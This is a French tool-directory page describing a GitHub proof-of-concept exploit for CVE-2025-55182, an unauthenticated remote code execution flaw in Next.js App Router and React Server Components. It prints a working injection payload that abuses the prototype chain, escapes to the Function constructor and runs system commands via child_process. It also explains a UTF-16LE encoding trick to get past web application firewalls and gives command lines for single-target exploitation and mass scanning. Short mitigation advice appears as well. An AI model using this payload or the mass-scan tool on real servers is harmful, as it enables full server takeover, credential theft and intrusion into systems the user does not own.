Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55182 — Exploit de preuve de concept pour CVE-2025-55182, démontrant une RCE non authentifiée dans Next.js App Router via une injection d'objet côté serveur dans les composants serveur React, avec contournement WAF UTF-16LE. | Kitploit
Outils/GitHubGitHub/ceh-aditya-raj/cve-2025-55182
Analyse des VulnérabilitésExploitationExploitation d'Applications WebContournement de WAFTests d'IntrusionApprentissage et ÉducationRed TeamingDéveloppement de Charges Utiles
GitHub
ceh-aditya-raj/cve-2025-55182

CVE-2025-55182

Exploit de preuve de concept pour CVE-2025-55182, démontrant une RCE non authentifiée dans Next.js App Router via une injection d'objet côté serveur dans les composants serveur React, avec contournement WAF UTF-16LE.

Voir le dépôt
26il y a 8 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

🚨 NextRce — CVE-2025-55182 (Next.js / React Server Components RCE)

NextRce est un outil de recherche en sécurité qui démontre CVE-2025-55182, une vulnérabilité critique dans les applications Next.js App Router utilisant React Server Components (RSC) et Server Actions.

Cette vulnérabilité permet à un attaquant d'obtenir une exécution de code à distance (RCE) sans authentification en abusant de la façon dont Next.js traite les réponses Server Action et résout les charges utiles RSC sérialisées sur le serveur.


🛠 Aperçu de la vulnérabilité

CVE-2025-55182 existe dans l'architecture Next.js App Router et peut être classée comme un problème d'injection d'objet côté serveur / abus de chaîne de prototypes survenant lors du traitement des requêtes multipart/form-data.

Lorsqu'une Server Action est déclenchée, le serveur Next.js fait confiance aux entrées client structurées et les désérialise. En envoyant une charge utile spécialement conçue, un attaquant peut manipuler la logique de résolution interne et exécuter des commandes système arbitraires dans l'environnement d'exécution Node.js.


📌 Cause racine

La vulnérabilité provient des facteurs combinés suivants :

  • Modèle de confiance des Server Actions Les Server Actions acceptent des charges utiles client structurées qui sont traitées via la logique interne de résolution des React Server Components avec une validation insuffisante.


  • Injection d'objet lors de la résolution RSC
    Des charges utiles spécialement conçues peuvent abuser des chaînes de prototypes JavaScript et des références de constructeurs, permettant d'échapper à la portée d'objet prévue.

  • Assainissement insuffisant
    Les champs internes tels que then, _response et les accesseurs form-data ne sont pas correctement protégés contre les manipulations malveillantes.

  • Contournement WAF basé sur l'encodage
    De nombreux pare-feu applicatifs web se concentrent sur UTF-8 ou le JSON standard. Encoder les charges utiles en UTF-16LE leur permet de contourner l'inspection tout en étant correctement décodées par le serveur Next.js.


  • 🔬 Analyse de la charge utile

    L'exploit repose sur l'injection d'une charge utile RSC conçue à l'intérieur d'une requête multipart.
    Une version simplifiée de la charge utile est présentée ci-dessous :

    root@kitploit:~
    {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": "{\"then\":\"$B1337\"}",
      "_response": {
        "_prefix": "var res=process.mainModule.require('child_process').execSync('{cmd}').toString('base64'); throw Object.assign(new Error('x'),{digest: res});",
        "_chunks": "$Q2",
        "_formData": {
          "get": "$1:constructor:constructor"
        }
      }
    }
    

    🧠 Analyse de l'exploit

    1. Détournement de chaîne de prototypes

    • "then": "$1:__proto__:then"
    • Cela abuse de la chaîne de prototypes de JavaScript en remplaçant la propriété then, ce qui interfère avec la résolution des Promises pendant le traitement des React Server Components dans l'environnement d'exécution Next.js.

    2. Évasion de constructeur

    • "_formData": { "get": "$1:constructor:constructor" }
    • Cela permet d'accéder au constructeur global Function, permettant d'exécuter du JavaScript arbitraire en dehors du bac à sable prévu.

    3. Exécution de code à distance

    • process.mainModule .require('child_process') .execSync('{cmd}')
    • Accède aux modules internes de Node.js
    • Exécute des commandes système arbitraires de manière synchrone
    • S'exécute avec les mêmes privilèges que le processus serveur Next.js

    4. Exfiltration de la sortie basée sur le digest

    • throw Object.assign(new Error('x'), { digest: res });
    • Next.js supprime les messages d'erreur détaillés à moins qu'un champ digest ne soit présent.
    • En attachant la sortie de commande encodée en Base64 à la propriété digest, le serveur renvoie involontairement les résultats d'exécution dans la réponse HTTP.

    5. Contournement WAF (UTF-16LE)

    • La charge utile peut être encodée en UTF-16LE et envoyée comme suit :
    • Content-Type: text/plain; charset=utf-16le
    • De nombreux moteurs WAF ne parviennent pas à décoder et à inspecter le contenu UTF-16LE, tandis que le serveur Next.js le décode et le traite correctement, ce qui augmente la fiabilité de l'exploitation.

    💥 Impact

    L'exploitation réussie de CVE-2025-55182 peut entraîner :

    • 🔥 Exécution complète de code à distance

    • 🗄️ Accès aux données sensibles et aux identifiants

    • 🔗 Mouvement latéral au sein de l'infrastructure

    • 📦 Compromission de la chaîne d'approvisionnement

    • 🚨 Prise de contrôle totale du serveur

    • Sévérité : Critique

    • Authentification requise : Non

    🛡 Atténuation

    Pour se protéger contre CVE-2025-55182 :

    • Mettez à niveau Next.js vers une version corrigée immédiatement
    • Désactivez les Server Actions inutilisées
    • Appliquez une validation stricte des requêtes multipart/form-data
    • Ajoutez des règles WAF pour détecter les charges utiles encodées en UTF-16LE
    • Surveillez les en-têtes Next-Action anormaux et les modèles de requêtes

    🚀 Utilisation

    Cible unique

    • python3 exploit.py -u https://target.com -c "whoami"

    Scan de masse avec contournement WAF

    • python3 exploit.py -l urls.txt -B -t 50

    ⚠️ Avertissement

    • Ce projet est fourni strictement à des fins éducatives, de recherche et de tests de sécurité autorisés.

    • N'utilisez PAS cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester.

    • L'auteur décline toute responsabilité en cas de mauvaise utilisation.

    Télécharger l’outil